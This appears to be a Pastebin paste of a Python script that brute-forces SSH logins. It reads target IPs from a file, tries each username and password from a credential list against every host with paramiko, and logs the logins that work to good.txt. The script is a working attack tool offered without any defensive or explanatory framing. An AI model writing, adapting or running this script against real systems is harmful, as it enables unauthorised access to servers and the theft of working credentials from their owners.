Advertisement
Guest User

Untitled

a guest
Dec 26th, 2018
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.12 KB | None | 0 0
  1. #! /usr/bin/env python3
  2. # sudo  apt-get install python3-paramiko
  3.  
  4. import paramiko
  5. import threading
  6. import time
  7.  
  8. stop_write = False
  9.  
  10. def write_good(host, username, password):
  11.     global stop_write
  12.     while stop_write == True:
  13.         time.sleep(1)
  14.     stop_write = True
  15.     f = open("good.txt", 'a')
  16.     f.write(host + "@" + username + ":" + password + "\n")
  17.     f.close()
  18.     stop_write = False
  19.  
  20. def connect_ssh(host, username, password):
  21.     print(host + "@" + username + ":" + password)
  22.     ssh = paramiko.SSHClient()
  23.     ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  24.     try:
  25.         ssh.connect(host, username=username, password=password)
  26.         #print(ssh.exec_command("uptime")[1].readlines())
  27.     except Exception as e:
  28.         ssh.close() #bad
  29.         return 0
  30.     else:
  31.         ssh.close()
  32.         print("good")
  33.         write_good(host, username, password) #good
  34.         return 1
  35.    
  36.  
  37. if __name__ == "__main__":
  38.     workers = []
  39.     import logpass
  40.  
  41.     fin = open("ips.txt", 'r')
  42.     for hosts in fin:
  43.         for login in logpass.logpas:
  44.             a = threading.Thread(target=connect_ssh(hosts.rstrip(), login, logpass.logpas[login])).start()
  45.             workers.append(a)
  46.             #for i in workers:
  47.             #   i.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement